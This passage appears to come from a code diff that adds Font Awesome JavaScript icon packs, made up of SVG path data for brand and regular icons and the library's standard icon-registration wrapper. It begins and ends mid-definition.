31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z"], + "youtube": [576, 512, [], "f167", "M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"], + "youtube-square": [448, 512, [], "f431", "M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 7.6-88.1z"], + "zhihu": [640, 512, [], "f63f", "M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z"] + }; + + bunker(function () { + defineIcons('fab', icons); + }); + +}()); +(function () { + 'use strict'; + + var _WINDOW = {}; + var _DOCUMENT = {}; + + try { + if (typeof window !== 'undefined') _WINDOW = window; + if (typeof document !== 'undefined') _DOCUMENT = document; + } catch (e) {} + + var _ref = _WINDOW.navigator || {}, + _ref$userAgent = _ref.userAgent, + userAgent = _ref$userAgent === void 0 ? '' : _ref$userAgent; + + var WINDOW = _WINDOW; + var DOCUMENT = _DOCUMENT; + var IS_BROWSER = !!WINDOW.document; + var IS_DOM = !!DOCUMENT.documentElement && !!DOCUMENT.head && typeof DOCUMENT.addEventListener === 'function' && typeof DOCUMENT.createElement === 'function'; + var IS_IE = ~userAgent.indexOf('MSIE') || ~userAgent.indexOf('Trident/'); + + var NAMESPACE_IDENTIFIER = '___FONT_AWESOME___'; + var PRODUCTION = function () { + try { + return undefined === 'production'; + } catch (e) { + return false; + } + }(); + + function bunker(fn) { + try { + fn(); + } catch (e) { + if (!PRODUCTION) { + throw e; + } + } + } + + function _defineProperty(obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + } + + function _objectSpread(target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i] != null ? arguments[i] : {}; + var ownKeys = Object.keys(source); + + if (typeof Object.getOwnPropertySymbols === 'function') { + ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { + return Object.getOwnPropertyDescriptor(source, sym).enumerable; + })); + } + + ownKeys.forEach(function (key) { + _defineProperty(target, key, source[key]); + }); + } + + return target; + } + + var w = WINDOW || {}; + if (!w[NAMESPACE_IDENTIFIER]) w[NAMESPACE_IDENTIFIER] = {}; + if (!w[NAMESPACE_IDENTIFIER].styles) w[NAMESPACE_IDENTIFIER].styles = {}; + if (!w[NAMESPACE_IDENTIFIER].hooks) w[NAMESPACE_IDENTIFIER].hooks = {}; + if (!w[NAMESPACE_IDENTIFIER].shims) w[NAMESPACE_IDENTIFIER].shims = []; + var namespace = w[NAMESPACE_IDENTIFIER]; + + function defineIcons(prefix, icons) { + var params = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; + var _params$skipHooks = params.skipHooks, + skipHooks = _params$skipHooks === void 0 ? false : _params$skipHooks; + var normalized = Object.keys(icons).reduce(function (acc, iconName) { + var icon = icons[iconName]; + var expanded = !!icon.icon; + + if (expanded) { + acc[icon.iconName] = icon.icon; + } else { + acc[iconName] = icon; + } + + return acc; + }, {}); + + if (typeof namespace.hooks.addPack === 'function' && !skipHooks) { + namespace.hooks.addPack(prefix, normalized); + } else { + namespace.styles[prefix] = _objectSpread({}, namespace.styles[prefix] || {}, normalized); + } + /** + * Font Awesome 4 used the prefix of `fa` for all icons. With the introduction + * of new styles we needed to differentiate between them. Prefix `fa` is now an alias + * for `fas` so we'll easy the upgrade process for our users by automatically defining + * this as well. + */ + + + if (prefix === 'fas') { + defineIcons('fa', icons); + } + } + + var icons = { + "address-book": [448, 512, [], "f2b9", "M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-68 304H48V48h320v416zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z"], + "address-card": [576, 512, [], "f2bb", "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H48V80h480v352zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2zM360 320h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8z"], + "angry": [496, 512, [], "f556", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-144c-33.6 0-65.2 14.8-86.8 40.6-8.5 10.2-7.1 25.3 3.1 33.8s25.3 7.2 33.8-3c24.8-29.7 75-29.7 99.8 0 8.1 9.7 23.2 11.9 33.8 3 10.2-8.5 11.5-23.6 3.1-33.8-21.6-25.8-53.2-40.6-86.8-40.6zm-48-72c10.3 0 19.9-6.7 23-17.1 3.8-12.7-3.4-26.1-16.1-29.9l-80-24c-12.8-3.9-26.1 3.4-29.9 16.1-3.8 12.7 3.4 26.1 16.1 29.9l28.2 8.5c-3.1 4.9-5.3 10.4-5.3 16.6 0 17.7 14.3 32 32 32s32-14.4 32-32.1zm199-54.9c-3.8-12.7-17.1-19.9-29.9-16.1l-80 24c-12.7 3.8-19.9 17.2-16.1 29.9 3.1 10.4 12.7 17.1 23 17.1 0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.2-2.2-11.7-5.3-16.6l28.2-8.5c12.7-3.7 19.9-17.1 16.1-29.8z"], + "arrow-alt-circle-down": [512, 512, [], "f358", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm-32-316v116h-67c-10.7 0-16 12.9-8.5 20.5l99 99c4.7 4.7 12.3 4.7 17 0l99-99c7.6-7.6 2.2-20.5-8.5-20.5h-67V140c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12z"], + "arrow-alt-circle-left": [512, 512, [], "f359", "M8 256c0 137 111 248 248 248s248-111 248-248S393 8 256 8 8 119 8 256zm448 0c0 110.5-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56s200 89.5 200 200zm-72-20v40c0 6.6-5.4 12-12 12H256v67c0 10.7-12.9 16-20.5 8.5l-99-99c-4.7-4.7-4.7-12.3 0-17l99-99c7.6-7.6 20.5-2.2 20.5 8.5v67h116c6.6 0 12 5.4 12 12z"], + "arrow-alt-circle-right": [512, 512, [], "f35a", "M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm72 20v-40c0-6.6 5.4-12 12-12h116v-67c0-10.7 12.9-16 20.5-8.5l99 99c4.7 4.7 4.7 12.3 0 17l-99 99c-7.6 7.6-20.5 2.2-20.5-8.5v-67H140c-6.6 0-12-5.4-12-12z"], + "arrow-alt-circle-up": [512, 512, [], "f35b", "M256 504c137 0 248-111 248-248S393 8 256 8 8 119 8 256s111 248 248 248zm0-448c110.5 0 200 89.5 200 200s-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56zm20 328h-40c-6.6 0-12-5.4-12-12V256h-67c-10.7 0-16-12.9-8.5-20.5l99-99c4.7-4.7 12.3-4.7 17 0l99 99c7.6 7.6 2.2 20.5-8.5 20.5h-67v116c0 6.6-5.4 12-12 12z"], + "bell": [448, 512, [], "f0f3", "M439.39 362.29c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71zM67.53 368c21.22-27.97 44.42-74.33 44.53-159.42 0-.2-.06-.38-.06-.58 0-61.86 50.14-112 112-112s112 50.14 112 112c0 .2-.06.38-.06.58.11 85.1 23.31 131.46 44.53 159.42H67.53zM224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64z"], + "bell-slash": [640, 512, [], "f1f6", "M633.99 471.02L36 3.51C29.1-2.01 19.03-.9 13.51 6l-10 12.49C-2.02 25.39-.9 35.46 6 40.98l598 467.51c6.9 5.52 16.96 4.4 22.49-2.49l10-12.49c5.52-6.9 4.41-16.97-2.5-22.49zM163.53 368c16.71-22.03 34.48-55.8 41.4-110.58l-45.47-35.55c-3.27 90.73-36.47 120.68-54.84 140.42-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h279.66l-61.4-48H163.53zM320 96c61.86 0 112 50.14 112 112 0 .2-.06.38-.06.58.02 16.84 1.16 31.77 2.79 45.73l59.53 46.54c-8.31-22.13-14.34-51.49-14.34-92.85 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-26.02 5.41-49.45 16.94-69.13 32.72l38.17 29.84C275 103.18 296.65 96 320 96zm0 416c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z"], + "bookmark": [384, 512, [], "f02e", "M336 0H48C21.49 0 0 21.49 0 48v464l192-112 192 112V48c0-26.51-21.49-48-48-48zm0 428.43l-144-84-144 84V54a6 6 0 0 1 6-6h276c3.314 0 6 2.683 6 5.996V428.43z"], + "building": [448, 512, [], "f1ad", "M128 148v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12zm140 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-128 96h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm128 0h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-76 84v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm76 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm180 124v36H0v-36c0-6.6 5.4-12 12-12h19.5V24c0-13.3 10.7-24 24-24h337c13.3 0 24 10.7 24 24v440H436c6.6 0 12 5.4 12 12zM79.5 463H192v-67c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v67h112.5V49L80 48l-.5 415z"], + "calendar": [448, 512, [], "f133", "M400 64h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V160h352v298c0 3.3-2.7 6-6 6z"], + "calendar-alt": [448, 512, [], "f073", "M148 288h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm108-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 96v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96-260v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "calendar-check": [448, 512, [], "f274", "M400 64h-48V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H160V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V160h352v298a6 6 0 0 1-6 6zm-52.849-200.65L198.842 404.519c-4.705 4.667-12.303 4.637-16.971-.068l-75.091-75.699c-4.667-4.705-4.637-12.303.068-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l44.104 44.461 111.072-110.181c4.705-4.667 12.303-4.637 16.971.068l22.536 22.718c4.667 4.705 4.636 12.303-.069 16.97z"], + "calendar-minus": [448, 512, [], "f272", "M124 328c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v24c0 6.6-5.4 12-12 12H124zm324-216v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "calendar-plus": [448, 512, [], "f271", "M336 292v24c0 6.6-5.4 12-12 12h-76v76c0 6.6-5.4 12-12 12h-24c-6.6 0-12-5.4-12-12v-76h-76c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h76v-76c0-6.6 5.4-12 12-12h24c6.6 0 12 5.4 12 12v76h76c6.6 0 12 5.4 12 12zm112-180v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "calendar-times": [448, 512, [], "f273", "M311.7 374.7l-17 17c-4.7 4.7-12.3 4.7-17 0L224 337.9l-53.7 53.7c-4.7 4.7-12.3 4.7-17 0l-17-17c-4.7-4.7-4.7-12.3 0-17l53.7-53.7-53.7-53.7c-4.7-4.7-4.7-12.3 0-17l17-17c4.7-4.7 12.3-4.7 17 0l53.7 53.7 53.7-53.7c4.7-4.7 12.3-4.7 17 0l17 17c4.7 4.7 4.7 12.3 0 17L257.9 304l53.7 53.7c4.8 4.7 4.8 12.3.1 17zM448 112v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "caret-square-down": [448, 512, [], "f150", "M125.1 208h197.8c10.7 0 16.1 13 8.5 20.5l-98.9 98.3c-4.7 4.7-12.2 4.7-16.9 0l-98.9-98.3c-7.7-7.5-2.3-20.5 8.4-20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "caret-square-left": [448, 512, [], "f191", "M272 157.1v197.8c0 10.7-13 16.1-20.5 8.5l-98.3-98.9c-4.7-4.7-4.7-12.2 0-16.9l98.3-98.9c7.5-7.7 20.5-2.3 20.5 8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "caret-square-right": [448, 512, [], "f152", "M176 354.9V157.1c0-10.7 13-16.1 20.5-8.5l98.3 98.9c4.7 4.7 4.7 12.2 0 16.9l-98.3 98.9c-7.5 7.7-20.5 2.3-20.5-8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "caret-square-up": [448, 512, [], "f151", "M322.9 304H125.1c-10.7 0-16.1-13-8.5-20.5l98.9-98.3c4.7-4.7 12.2-4.7 16.9 0l98.9 98.3c7.7 7.5 2.3 20.5-8.4 20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "chart-bar": [512, 512, [], "f080", "M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z"], + "check-circle": [512, 512, [], "f058", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 48c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m140.204 130.267l-22.536-22.718c-4.667-4.705-12.265-4.736-16.97-.068L215.346 303.697l-59.792-60.277c-4.667-4.705-12.265-4.736-16.97-.069l-22.719 22.536c-4.705 4.667-4.736 12.265-.068 16.971l90.781 91.516c4.667 4.705 12.265 4.736 16.97.068l172.589-171.204c4.704-4.668 4.734-12.266.067-16.971z"], + "check-square": [448, 512, [], "f14a", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm0 400H48V80h352v352zm-35.864-241.724L191.547 361.48c-4.705 4.667-12.303 4.637-16.97-.068l-90.781-91.516c-4.667-4.705-4.637-12.303.069-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l59.792 60.277 141.352-140.216c4.705-4.667 12.303-4.637 16.97.068l22.536 22.718c4.667 4.706 4.637 12.304-.068 16.971z"], + "circle": [512, 512, [], "f111", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"], + "clipboard": [384, 512, [], "f328", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm144 418c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h42v36c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-36h42c3.3 0 6 2.7 6 6z"], + "clock": [512, 512, [], "f017", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm61.8-104.4l-84.9-61.7c-3.1-2.3-4.9-5.9-4.9-9.7V116c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v141.7l66.8 48.6c5.4 3.9 6.5 11.4 2.6 16.8L334.6 349c-3.9 5.3-11.4 6.5-16.8 2.6z"], + "clone": [512, 512, [], "f24d", "M464 0H144c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h320c26.51 0 48-21.49 48-48v-48h48c26.51 0 48-21.49 48-48V48c0-26.51-21.49-48-48-48zM362 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h42v224c0 26.51 21.49 48 48 48h224v42a6 6 0 0 1-6 6zm96-96H150a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h308a6 6 0 0 1 6 6v308a6 6 0 0 1-6 6z"], + "closed-captioning": [512, 512, [], "f20a", "M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 336H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v276c0 3.3-2.7 6-6 6zm-211.1-85.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7zm190.4 0c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.9-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 220.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7z"], + "comment": [512, 512, [], "f075", "M256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z"], + "comment-alt": [512, 512, [], "f27a", "M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 7.1 5.8 12 12 12 2.4 0 4.9-.7 7.1-2.4L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zm16 352c0 8.8-7.2 16-16 16H288l-12.8 9.6L208 428v-60H64c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h384c8.8 0 16 7.2 16 16v288z"], + "comment-dots": [512, 512, [], "f4ad", "M144 208c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zM256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 